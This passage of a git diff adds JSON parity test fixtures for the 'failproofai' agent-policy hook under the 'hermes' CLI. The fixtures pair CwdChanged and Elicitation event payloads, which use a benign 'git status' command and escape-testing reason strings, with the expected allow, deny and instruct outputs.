Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..04c1e67c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..42282014 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ac776660 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..08196025 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..30f18c3b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..12b9c462 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e5e5c2de --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fb6eb18b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8c2761c1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..84af1381 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b75b9515 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6b94f972 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c5c64a48 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5ab37160 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ef426b48 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..099d8386 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f69ee079 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..efa2d484 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..614ad354 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 